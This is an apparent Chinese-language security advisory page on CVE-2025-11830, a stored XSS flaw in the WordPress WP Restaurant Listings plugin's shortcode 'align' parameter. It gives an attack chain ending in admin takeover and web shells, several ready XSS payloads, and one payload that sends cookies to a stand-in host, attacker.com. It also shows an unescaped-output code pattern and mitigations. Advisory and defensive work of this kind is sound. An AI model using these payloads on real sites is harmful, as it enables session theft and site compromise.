IPBUF安全漏洞报告
English
CVE-2025-11830 CVSS 6.4 中危

CVE-2025-11830:WP Restaurant Listings插件存储型XSS漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-11830
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Restaurant Listings(WordPress插件)

相关标签

Stored XSS跨站脚本WordPressWP Restaurant Listings插件漏洞CVE-2025-11830短代码注入内容注入Web安全中危漏洞

漏洞概述

CVE-2025-11830是WordPress的WP Restaurant Listings插件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由Wordfence安全团队的安全研究员发现并报告,披露日期为2025年10月22日。CVSS 3.1评分为6.4分,属于中危级别漏洞。

WP Restaurant Listings是一款用于在WordPress网站上管理和展示餐厅信息的插件,允许用户通过简码(shortcode)将餐厅列表嵌入到页面和文章中。该插件提供restaurant_summary简码,用于在页面中展示餐厅的摘要信息。

漏洞存在于restaurant_summary简码的'align'参数中。由于插件开发者未对该参数进行充分的输入过滤(sanitization)和输出转义(escaping),攻击者可以在该参数中注入恶意的JavaScript代码。这些恶意代码会被存储在WordPress数据库中,每当有用户访问包含该简码的页面时,恶意脚本就会在受害者浏览器中执行。

由于该漏洞需要贡献者(contributor)级别及以上的认证权限才能利用,因此普通匿名用户无法直接利用此漏洞。然而,在多作者博客、允许用户投稿的网站或存在权限管理不当的WordPress站点中,该漏洞仍可能造成严重的安全风险,包括管理员账户被盗用、网站被植入恶意内容、会话劫持等。

技术细节

该漏洞的核心问题在于restaurant_summary短代码处理'align'参数时缺乏安全防护。具体技术细节如下:

1. **简码参数处理缺陷**:WP Restaurant Listings插件通过WordPress的add_shortcode()函数注册了restaurant_summary简码。当用户在文章或页面中插入类似[restaurant_summary align="xxx"]的简码时,WordPress会调用插件的回调函数来处理这些参数。

2. **缺少输入过滤**:在回调函数处理'align'参数时,插件未使用WordPress提供的sanitize_text_field()、esc_attr()、wp_kses()等安全函数对用户输入进行过滤和清理。攻击者可以直接传入包含HTML标签和JavaScript代码的字符串。

3. **缺少输出转义**:当插件将'align'参数的值输出到HTML页面时,未使用esc_html()、esc_attr()等函数进行HTML实体编码,导致恶意脚本代码以原始形式被浏览器解析执行。

4. **存储型XSS利用流程**:
- 攻击者使用贡献者级别账户登录WordPress后台
- 创建新文章或页面,在内容中插入带有恶意'align'参数的restaurant_summary简码
- 恶意代码被保存到WordPress的wp_posts数据库表中
- 当任何用户(包括管理员)访问该文章/页面时,恶意JavaScript在浏览器上下文中执行

5. **影响范围**:受影响的代码位于includes/class-wp-restaurant-listings-shortcodes.php文件的第511行附近,对应restaurant_summary简码的处理逻辑。

该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),需要低权限认证(PR:L),无需用户交互(UI:N),作用域发生变化(S:C),对机密性和完整性有低影响,对可用性无影响。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过注册、购买或社工等方式获取目标WordPress站点的贡献者(contributor)级别或以上权限的账户。在开放注册的WordPress站点上,攻击者可以直接注册获得贡献者权限。
STEP 2
步骤2:构造恶意简码
攻击者登录WordPress后台,在文章编辑器中构造包含恶意JavaScript代码的restaurant_summary简码,利用未过滤的'align'参数注入payload,如[restaurant_summary align="><script>...</script>" id="1"]。
STEP 3
步骤3:发布恶意内容
攻击者将包含恶意简码的文章或页面发布。由于WordPress贡献者默认可以发布文章(部分站点允许),恶意代码被持久化存储到数据库的wp_posts表中。
STEP 4
步骤4:等待受害者访问
恶意内容发布后,攻击者等待目标用户(通常是管理员或其他高权限用户)访问包含恶意简码的页面。
STEP 5
步骤5:恶意脚本执行
当受害者访问被注入的页面时,浏览器解析HTML并执行注入的JavaScript代码。攻击者可以窃取用户Cookie、会话令牌,或执行其他恶意操作如权限提升、网站篡改等。
STEP 6
步骤6:权限提升与持久化
通过窃取管理员Cookie或利用XSS执行管理操作,攻击者可以创建新的管理员账户、上传Web Shell、植入后门,实现对网站的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-11830 PoC - Stored XSS via restaurant_summary shortcode 'align' parameter Target: WP Restaurant Listings plugin <= 1.0.2 Requirement: Contributor-level access or above --> <!-- Step 1: Authenticate as a contributor-level user --> <!-- Step 2: Create a new post or page --> <!-- Step 3: Insert the following shortcode into the post content --> [restaurant_summary align="><script>alert(document.cookie)</script>" id="1"] <!-- Alternative payloads for cookie stealing or further exploitation: --> [restaurant_summary align='" onmouseover="alert(1)' id="1"] [restaurant_summary align="><img src=x onerror=alert(document.domain)>" id="1"] [restaurant_summary align="><svg onload=fetch('https://attacker.com/steal?c='+document.cookie)>" id="1"] <!-- Step 4: Publish the post Step 5: When any user (including admins) views the post, the injected JavaScript executes in their browser context. --> <?php // Example of vulnerable code pattern (simplified from shortcodes.php ~line 511): /* function restaurant_summary_shortcode( $atts ) { $atts = shortcode_atts( array( 'id' => '', 'align' => 'left', // <-- 'align' parameter is not sanitized ), $atts, 'restaurant_summary' ); // VULNERABLE: Direct output without escaping $output = '<div class="restaurant-summary" align="' . $atts['align'] . '">'; $output .= get_restaurant_summary( $atts['id'] ); $output .= '</div>'; return $output; } */ ?>

影响范围

WP Restaurant Listings < 1.0.2
WP Restaurant Listings = 1.0.2

防御指南

临时缓解措施
在官方发布安全补丁之前,建议采取以下临时缓解措施:1)暂时禁用WP Restaurant Listings插件以消除攻击面;2)如果业务需要使用该插件,应限制贡献者及编辑者角色的发布权限,将所有文章设置为待审核状态;3)在wp-config.php或.htaccess中配置内容安全策略(CSP),禁止内联JavaScript执行;4)部署Web应用防火墙规则,过滤包含<script>标签或onerror/onload等事件处理器的请求;5)定期审计已发布的文章内容,搜索并清理可能存在的恶意简码注入;6)监控管理员账户的异常登录和操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表